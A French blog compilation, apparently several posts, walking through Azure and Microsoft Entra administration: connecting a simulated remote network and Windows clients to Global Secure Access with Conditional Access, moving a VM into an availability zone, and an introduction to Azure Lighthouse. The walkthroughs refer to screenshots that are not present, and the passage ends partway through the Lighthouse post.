J’y détaille l’intérêt du service Global Secure Access et la démarche sécuritaire mise en avant par Microsoft.

Qu’est-ce qu’un réseau distant ?

A l’inverse de postes en mobilité, il faut voir ces réseaux comme des réseaux fixes d’une entreprise dont le nombre et la répartition est possiblement mondiale :

Les réseaux distants sont des emplacements distants 🤣 ou des réseaux qui nécessitent une connectivité Internet. Par exemple, de nombreuses organisations ont un siège social central et des filiales dans différentes zones géographiques. Ces filiales ont besoin d’accéder aux données et services d’entreprise. Elles ont besoin d’un moyen sécurisé de communiquer avec le centre de données, le siège social et les travailleurs à distance. La sécurité des réseaux distants est cruciale pour de nombreux types d’organisations.

Les réseaux distants, tels qu’un emplacement de branche, sont généralement connectés au réseau d’entreprise via un réseau étendu dédié (WAN) ou une connexion de réseau privé virtuel (VPN). Les employés de l’emplacement de branche se connectent au réseau à l’aide de l’équipement local du client (CPE).

Microsoft Learn

Comment fonctionne la connectivité réseau à distance Global Secure Access ?

Comme pour une connexion VPN classique, une connexion sécurisée via le service Global Secure Access s’appuie sur un tunnel IP Sec :

Pour connecter un réseau distant à Global Secure Access, configurez un tunnel IPSec (Internet Protocol Security) entre votre équipement local et le point de terminaison Global Secure Access. Le trafic que vous spécifiez est acheminé via le tunnel IPSec vers le point de terminaison Global Secure Access le plus proche. 

Microsoft Learn

Pourquoi utiliser Global Secure Access pour nos réseaux ?

Global Secure Access propose une approche plus adaptée que les méthodes traditionnelle (WAN / MPLS) en faisant transiter la donnée via le backbone de Microsoft avec une tarification bien plus abordable que ces concurrents :

Il est de plus en plus difficile de maintenir la sécurité d’un réseau d’entreprise dans un monde de travail à distance et d’équipes distribuées. Security Service Edge (SSE) promet un monde de sécurité où les clients peuvent accéder à leurs ressources d’entreprise n’importe où dans le monde sans avoir à renvoyer leur trafic au siège social.

Microsoft Learn

Qu’est-ce que le Zéro Trust Network Access (ZTNA) ?

L’accès au réseau sans confiance (ZTNA), également connu sous le nom de périmètre défini par logiciel (SDP), est un ensemble de technologies et de fonctionnalités qui permettent un accès sécurisé aux applications internes pour les utilisateurs distants. Il fonctionne sur la base d’un modèle de confiance adaptatif, où la confiance n’est jamais implicite et où l’accès est accordé en fonction du besoin de savoir, sur la base du moindre privilège défini.

Zscaler

De manière plus simple, ZTNA reprend l’approche de ZT en y intégrant en tant que signal d’entrée la couche réseau, afin de rendre les décisions d’accès ou d’interdiction encore plus précises et donc plus sécurisantes :

Afin de se faire une meilleure idée sur le Global Secure Access encore en préversion, je vous propose de réaliser un nouvel exercice. Voici quelques liens vers la documentation Microsoft :

J’ai été assez surpris de voir que Microsoft a même écrit un mode opératoire en simulant comme moi le réseau distant sous Azure 😎

Comme Microsoft, mon but est donc de mesurer l’impact dans l’accès aux services 365 en simulant un réseau distant sous Azure et directement connecté Global Secure Access. Les tâches que nous allons réaliser seront donc les suivantes :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice, il vous faudra disposer des éléments suivants :

  • Un tenant Microsoft
  • Une souscription Azure valide

Afin de pouvoir tester cette fonctionnalité toujours en préversion, il est nécessaire de créer une machine virtuelle pour simuler un accès aux services 365 depuis notre réseau distant.

Etape I – Préparation de la VM de test :

Pour cela, rechercher le service Machines virtuelles sur le portail Azure :

Cliquez-ici pour commencer la création de la première machine virtuelle :

Renseignez les informations de base relatives à votre VM en choisissant une image sous Windows Server 2022 :

Choisissez la taille de votre VM, puis définissez un compte administrateur local :

Bloquez les ports entrants, puis cliquez sur Suivant :

Aucune modification n’est à faire sur cet onglet, cliquez sur Suivant :

Retirez l’IP publique, puis cliquez sur Suivant :

Décochez l’extinction automatique de la machine virtuelle, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la première VM, puis attendez environ 2 minutes :

Une fois le déploiement terminé, cliquez-ici pour consulter votre première machine virtuelle :

Cliquez-ici pour déclencher le déploiement du service Azure Bastion :

Attendez environ 3 minutes que la notification Azure suivante apparaisse :

Notre machine virtuelle est maintenant opérationnelle. La prochaine étape consiste à préparer la connexion VPN côté Azure.

Etape II – Création de la passerelle VPN Azure :

Pour cela, nous allons avoir besoin d’une passerelle VPN Azure. Un ancien article parlait déjà de ce service Azure juste ici.

Recherchez le réseau virtuel créé avec la VM, puis notez sa plage d’adresses réseaux pour la suite :

Profitez-en pour lui ajouter un sous-réseau dédié à la future passerelle VPN :

Cliquez sur Sauvegarder :

Attendez environ 15 secondes que la notification suivante apparaisse :

Recherchez dans le menu Azure le service suivant pour créer la passerelle VPN :

Cliquez-ici pour créer votre passerelle VPN Azure :

Renseignez les informations de base, choisissez le SPU VpnGw1, puis le même réseau virtuel que précédemment :

Désactivez mode actif-actif, activez la fonction BGP, renseignez un numéro ASN valide, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la passerelle VPN, puis attendez environ 30 minutes :

Une fois le déploiement terminé, cliquez-ici afin de récupérer quelques informations sur la passerelle VPN :

Allez dans l’onglet Configuration afin de copier ces informations :

Notre passerelle VPN côté Azure est maintenant en place. Nous devons maintenant configurer Global Secure Access d’Entra ID pour reconnaître les demandes de connexion depuis cette passerelle VPN.

Etape III – Configuration du réseau distant sur GSA :

Rendez-vous sur la page suivante du portail Entra, puis cliquez-ici pour mettre en place la connexion réseau côté Microsoft Entra :

Nommez votre connexion, choisissez la région Azure la plus proche de votre réseau distant, puis cliquez sur Suivant :

Ajoutez un lien réseau à votre connexion :

Renseignez les informations de base en reprenant les informations récupérées de la passerelle VPN, puis cliquez sur Suivant :

Conservez les options suivantes, puis cliquez sur Suivant :

Définissez une clef PSK et conservez-là, puis cliquez sur Suivant :

Cliquez sur suivant :

Cochez la seule case possible à ce jour : seul le traffic vers les services Microsoft 365 sera actuellement routé via cette connexion, puis lancez la validation Entra ID :

Une fois la validation Entra ID réussie, lancez la connexion réseau, puis attendez environ 1 minute :

Une notification Entra ID apparaît alors :

Consultez le menu suivant afin de constater la présence d’un réseau distant uniquement sur le profil Microsoft 365 :

Retournez sur le menu des connexions réseaux afin de récupérer des informations :

Récupérez les 3 informations suivantes pour continuer la configuration de la connexion à la passerelle VPN côté Azure :

La configuration réseau côté Global Secure Access est maintenant terminée. Avançons maintenant côté Azure afin que ce dernier reconnaisse également le réseau GSA.

Etape IV – Configuration du réseau GSA sur Azure :

Retournez sur le portail Azure afin de créer passerelle de réseau local correspondant à la connexion configurée sur Global Secure Access.

Pour cela, recherchez le service suivant sur le portail Azure :

Cliquez-ici pour commencer la création :

Renseignez les informations de base, reprenez l’IP publique récupérée sur Global Secure Access, puis cliquez sur Suivant :

Renseignez les autres informations suivantes provenant de Global Secure Access, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la passerelle de réseau local, puis attendez environ 2 minutes :

Attendez que le déploiement de la passerelle de réseau local soit terminé :

Avant de finaliser la configuration VPN, il serait intéressant de tester une connexion vers les services 365 en y incluant une police d’accès conditionnel potentiellement bloquante.

Etape V – Global Secure Access + Accès Conditionnel :

La signalisation de Global Secure Access fournit des informations sur l’emplacement du réseau à l’accès conditionnel, ce qui permet aux administrateurs de créer des politiques qui limitent l’accès des utilisateurs à des applications spécifiques en fonction de leur utilisation du client Global Secure Access ou d’un réseau distant.

Microsoft Entra

La combinaison de Global Secure Access et de l’Accès Conditionnel va donc permettre de restreindre l’accès à certains services si la connexion via Global Secure Access n’est pas établie.

Pour cela, créez une nouvelle police d’accès conditionnel par le menu suivant :

Spécifiez le groupe d’utilisateurs de test concerné :

Définissez la ou les applications à protéger :

Excluez de cette police les connexions faites via Global Secure Access :

Bloquez l’accès pour toutes les autres tentatives de connexion, activez la police puis sauvegardez-là :

Attendez quelques minutes, puis retournez sur votre VM de test via une session Azure Bastion :

Lancez un ping sur le site outlook.office.com afin de constater l’IP actuelle du service de messagerie de Microsoft :

Ouvrez Edge sur la page office.com afin de vous authentifiez avec un compte 365 de test :

Connectez-vous-y en utilisant l’identité Entra ID de votre compte de test :

Constatez le blocage de l’accès conditionnel mis en place précédemment :

Ce test nous confirme que la connexion GSA via un réseau distant ou le client est maintenant obligatoire pour accéder aux services 365.

Finalisons maintenant la connexion entre notre environnement Azure de test et GSA.

Etape VI – Connexion entre le réseau distant et GSA :

De retour sur le portail Azure, cliquez-ici pour mettre en place la connexion entre la passerelle VPN et Global Secure Access :

Définissez la connexion en IP Sec, puis cliquez sur Suivant :

Renseignez les informations de base dont la clef PSK, cochez la case BGP, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la connexion, puis attendez environ 1 minute :

Attendez que le déploiement de la connexion soit terminé, puis cliquez-ici :

Constatez le statut inconnu de celle-ci :

Retournez sur la page suivante de la passerelle VPN, puis rafraichissez périodiquement afin de constater une changement de status de la connexion :

Le statut devrait changer sous environ 3 minutes :

Consultez la page suivante pour voir les impacts de routage via les communications BGP :

L’environnement est maintenant opérationnel. Il ne reste plus qu’à refaire des tests sur notre machine virtuelle.

Etape VII – Global Secure Access + Accès Conditionnel v2 :

Lancez un ping sur le site outlook.office.com afin de constater la nouvelle IP du service de messagerie Microsoft :

Ouvrez Edge en navigation privée sur la page office.com afin de vous authentifiez avec un compte 365 de test :

Connectez-vous-y en utilisant l’identité Entra ID de votre compte de test :

Cliquez sur Non :

Constatez la bonne connexion au service de Microsoft 365 :

Afin de confirmer nos tests, retirez la connexion entre Azure et GSA pour retrouver le blocage initialement constaté à cause de la police d’accès conditionnelle.

Etape VIII – Retrait de la connexion VPN :

De retour sur le portail Azure, supprimez la connexion VPN Azure précédemment établie :

Confirmez votre choix en cliquant sur Oui :

Attendez que la notification Azure suivante apparaisse :

Lancez un ping sur le site outlook.office.com afin de constater la nouvelle IP du service de messagerie de Microsoft :

Constatez le retour du blocage de l’accès conditionnel mis en place précédemment :

Consultez l’évolution du status de la connexion Global Secure Access via le menu suivant :

Constatez le log de connexion vers les services Microsoft 365 ayant transité par le Global Secure Access via le menu suivant :

Conclusion

Ce nouveau test montre encore une fois la grande simplicité de la connexion entre l’on-premise et les services 365 de Microsoft. Aucun doute que ce service devrait connaître un grand succès une fois sorti de sa préversion et quand sa grille tarifaire sera dévoilée 🤣🙏

Le prochain article devrait parler de l’Accès Privé de Global Secure Access. John a déjà pris de l’avance sur moi 🤣

Microsoft 365 via Global Secure Access

2024 est à peine là, mais certaines choses ne changent pas. La sécurité IT reste encore au cœur des préoccupations pour cette nouvelle année. Les façons de consommer la donnée au travers des outils informatiques ont été bouleversées depuis l’arrivée des Cloud publics. Mais ces usages doivent s’accompagner de mesures de sécurité toujours plus performantes.

Microsoft veut changer la partie avec son Global Secure Access. Parcourons ensemble quelques notions sur ce sujet.

Pourquoi Microsoft s’intéresse aux réseaux ?

L’émergence des outils 365, les nombreuses applications disponibles sous format SaaS, les ressources hébergées sur Azure, ou encore les effets du COVID ont fait voler en éclat les approches réseaux traditionnelles.

Partant de ce constat, la sécurité des réseaux, pensée de manière centralisée, a dû elle aussi s’adapter face à au nouveaux usages et fait face à de nouvelles menaces potentielles.

Microsoft est un acteur majeur du Cloud public, et la nouvelle approche sécuritaire des réseaux au-delà de leurs centre de données est donc une évidence pour eux.

Secure Access Service Edge (SASE) vs Security Service Edge (SSE) ?

Il s’agit avant tout de structurer les produits et les services de manière plus cohérentes selon les besoins :

Le SSE définit un cadre limité de la sécurité réseau convergente, qui allie des fonctions SWG, CASB/DLP et ZTNA dans un service cloud natif. Il permet un accès sécurisé aux applications Web, SaaS et métier internes, sans prise en charge directe des ressources WAN. Ce dernier aspect relève toujours d’une solution technologique distincte, englobant des fonctions comme le SD-WAN, les pare-feux nouvelle génération et les backbones réseau globaux.

Cato Networks

Voici d’ailleurs une vidéo pour vous en faire une meilleure idée :

On dit merci qui ? Merci Gartner🤣 !

On peut donc voir le SSE comme un pan clé du pilier sécurité du SASE :

Qu’est-ce que le Zéro Trust (ZT) ?

Le concept Zéro Trust vous dit peut-être déjà quelque chose (ou pas encore) ? Une règle simple et appliquée tout le temps : Ne jamais faire confiance, toujours vérifier.

Considérez simplement chaque demande d’accès comme suspecte :

Qu’est-ce que le Zéro Trust Network Access (ZTNA) ?

L’accès au réseau sans confiance (ZTNA), également connu sous le nom de périmètre défini par logiciel (SDP), est un ensemble de technologies et de fonctionnalités qui permettent un accès sécurisé aux applications internes pour les utilisateurs distants. Il fonctionne sur la base d’un modèle de confiance adaptatif, où la confiance n’est jamais implicite et où l’accès est accordé en fonction du besoin de savoir, sur la base du moindre privilège défini.

Zscaler

De manière plus simple, ZTNA reprend l’approche de ZT en y intégrant en tant que signal d’entrée la couche réseau, afin de rendre les décisions d’accès ou d’interdiction encore plus précises et donc plus sécurisantes :

Qu’est-ce que le Global Secure Access proposé par Microsoft ?

Voyant l’évolution des besoins de sécurité réseaux et la demande grandissante du Cloud, Microsoft a souhaité apporter sa propre solution SSE basée sur ZTNA :

Global Secure Access est l’emplacement unifié du centre d’administration Microsoft Entra et repose sur les principes fondamentaux de confiance zéro, d’utiliser le moindre privilège, de vérifier explicitement et de supposer une violation.

Microsoft Learn

Comme le montre le schéma ci-dessous, Global Secure Access regroupe 2 principaux services :

Voici d’ailleurs un excellent webinar animé par Seyfallah Tagrerout sur le Global Secure Access :

Afin de se faire une meilleure idée sur le Global Secure Access encore en préversion, je vous propose de réaliser un petit exercice. Mon premier but étant de mesurer son impact dans l’accès aux services 365 en simulant des postes utilisateurs ayant le client Windows Global Secure Access d’installé.

Les tâches que nous allons réaliser sont donc les suivantes :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice, il vous faudra disposer des éléments suivants :

  • Un tenant Microsoft
  • Une souscription Azure valide
  • Une licence Microsoft Entra ID P1 licence (obligatoire)
  • Une licence Microsoft 365 E3 (recommandée)

Etape I – Configuration du tenant :

Global Service Access est un service intégré à Microsoft Entra. Vous le trouverez donc uniquement dans ce portail.

Rendez-vous sur la page du portail d’Entra, puis cliquez-ici :

Certains prérequis sont vérifiés automatiquement. Une fois tous ces derniers en vert, cliquez sur le bouton Activer :

Attendez quelques secondes l’apparition de cette notification :

Cliquez-ici afin de continuer :

Cette page vous remontre les 2 principaux services de Global Secure Access :

Cliquez sur le service de votre choix pour en savoir un peu plus :

La documentation Microsoft correspondante s’ouvre alors dans un nouvel onglet :

De retour sur le portail d’Entra, continuer la configuration du Global Secure Access en cliquant sur Journalisation. Cette page nous informe que la Journalisation n’est pas encore activée sur Entra ID :

Activez la sauvegarde en passant par le menu suivant :

Configurez les Paramètres de diagnostic selon vos souhaits en cochant bien les logs nommées EnrichedOffice365AuditLogs :

Retournez sur la page de Journalisation de Global Secure Access afin de contrôler le bon changement :

La configuration de base de Global Secure Access est maintenant terminée.

Avant d’activer le service de Profil d’accès à Microsoft 365, nous allons créer 2 VMs dans Azure pour simuler des postes utilisateurs.

Etape II – Préparation de postes utilisateurs :

Depuis le portail Azure, créez 2 machines virtuelles sous Windows 11 sous un même réseau virtuel :

Sur ce réseau virtuel, déployer le service Azure Bastion afin de vous connecter à ces 2 VMs dépourvues d’IP publiques :

Joignez les deux machines virtuelles créées précédemment à Entra ID selon cet article, puis vérifiez leur présence sur cette page d’Entra ID :

Vérifiez également la présence de ces 2 VMs sur cette page de la console Intune :

Nos machines virtuelles de test sont prêtes.

Créez une premier groupe Entra ID contenant vos 2 utilisateurs de test :

Créez une second groupe Entra ID contenant vos 2 machines Azure de test :

L’environnement Azure est maintenant opérationnel. Retournons sur la configuration de Global Secure Access pour activer le profil dédié aux services Microsoft 365.

Etape III – Configuration du Profil d’accès à Microsoft 365 :

Retournez sur cette page d’Entra ID, puis cochez la case suivante pour activer ce profil sur votre tenant :

Confirmez votre action en cliquant sur OK :

Attendez quelques secondes l’apparition de cette notification :

Vérifiez le changement de statut pour le Profil d’accès à Microsoft 365 :

Pour gérer les détails de la politique de transfert de trafic Microsoft 365, sélectionnez le lien suivant :

Continuons maintenant par l’installation du client Global Secure Access.

Etape IV – Déploiement du client Global Secure Access :

Ce client est nécessaire pour acheminer le trafic réseau vers le service Global Secure Access quand on souhaite s’y connecter en dehors d’un réseau d’entreprise.

Les différents clients de Global Secure Access sont disponibles sur cette page. Cliquez-ici pour télécharger la version Windows 10/11 :

Attendez que le téléchargement se termine :

Si vous le souhaitez, utilisez comme moi l’application Intunewin (Microsoft Win32 Content Prep Tool) afin de packager votre client Global Secure Access et de le déployer via Intune.

Créez votre application sur la console Intune comme Microsoft le préconise :

Attendez environ 30 minutes que l’application se déploie automatiquement sur les 2 machines virtuelles précédemment créées :

L’environnement est enfin prêt pour tester la connexion aux services 365 via Global Secure Access.

Etape V – Test de Global Secure Access :

Ouvrez 2 sessions RDP via Azure Bastion sur les 2 VMs en utilisant respectivement vos 2 utilisateurs Entra ID de test :

Constatez l’ouverture d’une page d’authentification de Global Secure Access, puis connectez-vous-y en utilisant l’identité Entra ID proposée par Windows :

Vérifiez la bonne connexion grâce à l’icône présent dans la barre de tâches :

Afin de comparer les 2 environnements, activez le mode Pause sur l’une des 2 VMs de test :

Cliquez sur le menu suivant du client Global Secure Access afin d’obtenir plus d’informations sur le statut de la connexion :

Comparez les deux checklist et leurs différences :

Vérifiez la présence de la règle concernant le profil Microsoft 365 sur les 2 VMs :

Sur les 2 machines virtuelles de test :

  • Ouvrez la page d’Outlook sur Edge afin de constater la connexion au service
  • Lancez une requête PING afin de constater les variations d’adresses IP

Retournez sur la page de log suivante du service Global Secure Access d’Entra ID afin de constater l’apparition de plusieurs lignes de log :

En quelques clics, nous avons mis en place un client Global Secure Access. Continuons un autre test en combinant le Global Secure Access avec l’Accès Conditionnel d’Entra ID.

Etape VI – Global Secure Access + Accès Conditionnel :

La signalisation de Global Secure Access fournit des informations sur l’emplacement du réseau à l’accès conditionnel, ce qui permet aux administrateurs de créer des politiques qui limitent l’accès des utilisateurs à des applications spécifiques en fonction de leur utilisation du client Global Secure Access ou d’un réseau distant.

Microsoft Entra

La combinaison de Global Secure Access et de l’Accès Conditionnel va donc permettre de restreindre l’accès à certains services si la connexion via Global Secure Access n’est pas établie.

Pour cela, rendez-vous sur la page suivante d’Entra afin de constater la situation avant activation :

Activez l’option nommée Accès adaptatif sur cette page, puis sauvegardez :

Attendez quelques secondes l’apparition de cette notification :

Retournez sur page suivante d’Entra afin de constater la situation après activation :

Créez une nouvelle police d’accès conditionnel par le menu suivant :

Spécifiez le groupe d’utilisateurs de test concerné :

Définissez la ou les applications à protéger :

Excluez de cette police les connexions faites depuis Global Secure Access :

Bloquez l’accès pour les autres tentatives de connexion, activez la police puis sauvegardez-là :

Attendez quelques minutes, puis ouvrez Edge en navigation privée vers la page d’Outlook afin de constater les impacts :

Continuons avec un dernier test de restriction de tenant pour Global Secure Access.

Etape VII – Global Secure Access + Restriction au tenant :

Les restrictions imposées aux locataires permettent aux administrateurs de contrôler si leurs utilisateurs peuvent accéder aux ressources d’une organisation externe avec des comptes émis par cette dernière, tout en utilisant le réseau ou l’appareil de votre organisation.

Microsoft Entra

En d’autres termes, une fois connecté au Global Secure Access, plus moyen de s’authentifier sur un tenant tiers si cette option est activée et sans y ajouter le second tenant comme exception.

Pour cela, rendez-vous sur cette même page d’Entra ID, activez l’option suivante puis sauvegardez :

Attendez quelques minutes, puis réouvrez Edge en navigation privée vers la page d’Outlook afin de constater les impacts :

Conclusion

Par la mise à disposition du Global Secure Access, Microsoft apporte une brique manquante et attendue depuis longtemps dans son approche Zéro Trust. D’autres fonctionnalités comme Remote network vont s’avérer très utile pour sécuriser les connexions depuis et vers le Cloud sans obligatoirement investir dans des solutions de type MPLS.

Enfin, d’autres articles vont bientôt suivre sur la gestion de trafic des autres profils (Private access profile, Internet access profile) 😎

Déplacez votre VM dans une Zone Azure

Il y a quelques jours, Microsoft vient d’annoncer une nouvelle fonctionnalité de migration très intéressante pour les machines virtuelles déjà en place : la possibilité de déplacer une machine virtuelle, actuellement non zonée, vers une zone précise de la région Azure.

Pourquoi faire ? Pour accroitre la résilience de l’infrastructure 🙏

Annoncé le 12 décembre dernier sur blog Azure, cette fonctionnalité dédié aux machines virtuelles vient compléter la récente annonce datée d’octobre sur l’Expansion zonale des Azure VMSS.

Voici d’ailleurs un schéma montrant l’intégration de 3 zones au sein d’une seule région Azure :

Microsoft a déjà mis à disposition la documentation sur ce nouveau type de migration :

En revanche, la possibilité d’utiliser ce type de migration dépendra de votre scénario actuel :

ScénarioAssistance techniqueDétails
Machine virtuelle à instance uniquePrise en chargeLe déplacement régional vers zonal de machines virtuelles à instance unique est pris en charge.
Machines virtuelles au sein d’un groupe à haute disponibilitéNon pris en charge
Machines virtuelles à l’intérieur de groupes de machines virtuelles identiques avec orchestration uniformeNon pris en charge
Machines virtuelles à l’intérieur de groupes de machines virtuelles identiques avec orchestration flexibleNon pris en charge
Régions prises en chargePrise en chargeSeules les régions prises en charge par la zone de disponibilité sont prises en charge. En savoir plus sur les détails de la région.
Machines virtuelles déjà situées dans une zone de disponibilitéNon pris en chargeLe déplacement interzone n’est pas pris en charge. Seules les machines virtuelles qui se trouvent dans la même région peuvent être déplacées vers une autre zone de disponibilité.
Extensions de machine virtuelleNon pris en chargeLe déplacement de machine virtuelle est pris en charge, mais les extensions ne sont pas copiées sur une machine virtuelle zonale cible.
Machines virtuelles avec lancement fiablePrise en chargeRéactivez l’option Analyse de l’intégrité dans le portail et enregistrez la configuration après le déplacement.
Machines virtuelles confidentiellesPrise en chargeRéactivez l’option Analyse de l’intégrité dans le portail et enregistrez la configuration après le déplacement.
Machines virtuelles de 2e génération (démarrage UEFI)Prise en charge
Machines virtuelles dans des groupes de placement de proximitéPrise en chargeLe groupe de placement de proximité source (PPG) n’est pas conservé dans la configuration zonale.
VM spot (machines virtuelles de basse priorité)Prise en charge
Machines virtuelles avec hôtes dédiésPrise en chargeL’hôte dédié de machine virtuelle source ne sera pas conservé.
Machines virtuelles avec mise en cache de l’hôte activéePrise en charge
Machines virtuelles créées à partir d’images de la Place de marchéPrise en charge
Machines virtuelles créées à partir d’images personnaliséesPrise en charge
Machine virtuelle avec licence HUB (Hybrid Use Benefit)Prise en charge
Stratégies RBAC de machine virtuelleNon pris en chargeLe déplacement de machine virtuelle est pris en charge, mais les RBAC ne sont pas copiés sur une machine virtuelle zonale cible.
Machines virtuelles utilisant l’accélération réseauPrise en charge

Pourquoi migrer dans une Zone de disponibilité Azure ?

Les avantages à utiliser les zones de disponibilité Azure sont les suivants:

  • Pour des raisons de besoins de fiabilité et de performance.
  • Pour une reprise après sinistre sans compromettre la résidence des données.

Pour rappel, la SLA sera différente si la VM est toute seule, ou si elle est accouplée à une autre VM dans une Availability Set ou Availability Zone :

Afin de se faire une meilleure idée sur cette migration, je vous propose de réaliser un petit exercice, dont les tâches seront les suivantes :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice sur la bascule d’une VM dans une zone d’Azure, il vous faudra disposer des éléments suivants :

  • Un tenant Microsoft
  • Une souscription Azure valide

Afin de pouvoir tester cette fonctionnalité toujours en préversion, il est nécessaire de créer une machine virtuelle non Zonée (ou Régionale).

Etape I – Préparation de la VM Régionale :

Pour cela, rechercher le service Machines virtuelles sur le portail Azure :

Cliquez-ici pour commencer la création de la première machine virtuelle :

Renseignez les informations de base relatives à votre VM en choisissant aucune redondance :

Choisissez la taille de votre VM, définissez un compte administrateur local, bloquer les ports entrants, puis cliquez sur Suivant :

Aucune modification n’est à faire sur cet onglet, cliquez sur Suivant :

Aucune modification n’est à faire sur cet onglet, cliquez sur Suivant :

Décochez l’extinction automatique de la machine virtuelle, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la première VM, puis attendez environ 2 minutes :

Une fois le déploiement terminé, cliquez-ici pour consulter votre première machine virtuelle :

Cliquez-ici pour déclencher le déploiement du service Azure Bastion :

Ouvrez une session de bureau à distance via Azure Bastion en utilisant les identifiants administrateurs renseignés lors de la création de la VM :

Ouvrez une ou plusieurs applications en enregistrant le travail effectué :

Notre première machine virtuelle non-zonée ou régionale est maintenant opérationnelle. Nous pouvons dès à présent lancer le processus de migration vers la zone souhaitée.

Etape II – Déplacement de la VM Régionale dans une Zone :

Pour commencer ce processus, rendez-vous dans l’un des 2 menus suivants :

  • Cliquez sur le menu à gauche appelé Disponibilité + dimensionnement.
  • Cliquez sur le bouton d’édition à droite pour modifier la Zone de disponibilité.

Cliquez-ici pour démarrer le processus de migration :

Choisissez la zone cible pour la migration :

Attendez environ 2-3 minutes afin qu’Azure mette en place les droits RBAC nécessaires pour procéder à la migration :

Une notification Azure apparaît également :

Un nouveau groupe de ressources est créé par cette même occasion :

Des droits RBAC sont également générés au niveau de la souscription Azure concernée :

Une fois le traitement terminé, l’écran suivant apparait, modifiez les champs au besoin :

Dans mon cas, j’ai modifié les valeurs suivantes, puis j’ai cliqué sur Valider :

  • Création d’un nouveau groupe de ressources
  • Création de nouvelles ressources pour tous les objets existants
  • Modification des noms des ressources

La validation entraine une seconde vérification des paramètres modifiés :

Une nouvelle notification Azure apparait indiquant que le traitement est en cours :

Environ 30 secondes plus tard, le traitement de validation se termine :

Lancez le déplacement des ressources en cochant la case ci-dessous, puis en cliquant sur Déplacer :

Le traitement démarre et vous informe que celui-ci durera plusieurs minutes :

Le nouveau groupe de ressources Azure se créé avec les ressources commencent également à y apparaître :

La session de bureau à distance ouverte via Azure Bastion sur la première machine virtuelle se ferme, comme attendu :

Un rapide contrôle du statut de la première machine virtuelle nous montre que cette dernière s’est bien arrêtée :

Le groupe de ressource créé par le service de déplacement nous montre la présence d’une collection de points de restauration :

Celle-ci contient bien un point de restauration lié au traitement de migration de la VM :

Environ 5 minutes plus tard, l’écran nous indique que le traitement est terminé. On y apprend également plusieurs choses :

  • La première machine virtuelle a bien été arrêtée, mais n’a pas été supprimée
  • La seconde machine virtuelle est bien démarrée et est localisée dans la zone 3

Des consignes post-déploiement sont même affichées afin de vous guider sur la suite :

Le nouveau groupe de ressources créé par la migration montre bien toutes les ressources configurées selon les options renseignées :

De retour dans le groupe de ressources précédent, la collection des points de restauration a disparu après la migration :

Etape III – Contrôle de la VM zonée :

Les deux machines virtuelles sont bien présentes et visibles, cliquez sur la nouvelle VM :

Vérifiez la présence de la zone 3, puis cliquez sur le Editer :

Microsoft vous indique qu’il n’est pas encore possible de déplacer des ressources entre les zones dans une région Azure :

Cette information de zone de notre machine virtuelle est aussi disponible ici :

Comme un nouveau réseau virtuel a été recréé dans mon exemple, pour me connecter en RDP, je dois effectuer une des actions suivantes :

  • Redéployer un service Azure Bastion
  • Utiliser l’adresse IP publique
  • Appairer les 2 réseaux virtuels entre eux

Ouvrez une session de bureau à distance via Azure Bastion en utilisant les identifiants administrateurs renseignés lors de la création de la première VM :

Vérifiez la présence du travail effectué précédemment :

Etape IV – Nettoyage des ressources non zonées :

Important : l’infrastructure existante telle que les VNET, les sous-réseaux, les NSG, les LB, … tirent déjà parti d’une configuration zonale, nous aurions pu les garder au lieu d’en recréer.

Si tout est OK pour vous, il ne vous restera qu’à supprimer les deux groupes de ressources suivants :

  • Groupe de ressources contenant l’ancienne machine virtuelle
  • Groupe de ressource contenant les composants liés à la migration

La suppression d’un groupe de ressources Azure s’effectue très simplement :

Confirmez l’ordre de suppression :

Conclusion

Microsoft automatise tous les jours un peu plus certaines tâches manuelle au fil des améliorations faites à Azure. Tous les gains d’efficacité doivent également profiter aux ressources déjà déployées.

On pourra peut-être bientôt voir le même type de processus automatisé intégrer des machines virtuelles existantes dans des Availability Sets ou des Proximity placement groups 😎

Azure Lighthouse prend le contrôle

Azure Lighthouse existe déjà depuis longtemps. Mais je souhaitais malgré tout en faire un article car il est très utile dans bien des cas car il facilite grandement la gestion de ressources réparties sur plusieurs tenants Microsoft. Cela s’adapte donc parfaitement aux prestataires ou fournisseurs de services Cloud.

Qu’est-ce qu’Azure Lighthouse ?

Azure Lighthouse permet une gestion multi-locataire avec de la scalabilité, une automatisation plus poussée et une gouvernance renforcée des ressources.

Microsoft Learn

En d’autres termes, Azure Lighthouse vous permet d’accéder à plusieurs tenants en simultané. Cela permet de visualiser un ensemble de ressources Azure réparties sur plusieurs tenants dans une seule et unique vue.

Grâce à Azure Lighthouse, vous allez pouvoir :

  • Créer une relation sécurisée entre vous et vos clients gérés.
  • Fournir une transparence et à la demande sur l’accès et les actions.
  • Permettre une gestion granulaire de l’accès à l’ensemble du parc Azure.

Vous pouvez gérer plusieurs clients dans un seul Azure Lighthouse. Vous devez simplement définir comment vos équipes accéderont aux ressources des clients :

Pourquoi utiliser Azure Lighthouse pour un client ?

  • Gardez le contrôle : Ajoutez, modifiez ou retirez les droits des intervenants externes à tout moment grâce à la relation fournisseur de services / client établie via Azure Lighthouse.
  • Conservez la sécurité : Fournissez un accès granulaires aux fournisseurs de services, à des niveaux spécifiques (souscription ou groupe de ressources), et à des groupes d’utilisateurs définis, pour un accès permanent ou temporaire.
  • Restez informé : Veillez à ce que vos données soient toujours sécurisées et ne quittent pas votre environnement, tout en ayant une visibilité sur les actions et les changements effectués par vos fournisseurs de services.

Comment Azure Lighthouse fonctionne ?

Pour qu’Azure Lighthouse puisse fonctionner, il est nécessaire de disposer de :

  • Utilisateurs, groupes ou principaux de service provenant du tenant du fournisseur.
  • Rôles RBAC à appliquer sur les ressources du client.

Ces 2 éléments (Rôles + identités) sont alors combinés dans un template généré au format JSON depuis le tenant du fournisseur, puis exécuté sur le tenant du client.

C’est aussi simple que cela !

Note : A la place de la génération d’un template JSON, il est aussi possible de passer par la publication d’une offre fournisseur sur la Marketplace Azure.

Combien cela coûte ?

L’utilisation d’Azure Lighthouse est gratuite pour les clients et pour les fournisseurs.

Azure Lighthouse, qui s’appuie sur la technologie de gestion des ressources déléguées d’Azure, est donc disponible sans frais supplémentaires :

Quelles sont les étapes pour mettre en place Azure Lighthouse ?

Azure Lighthouse est donc configurable de plusieurs manières :

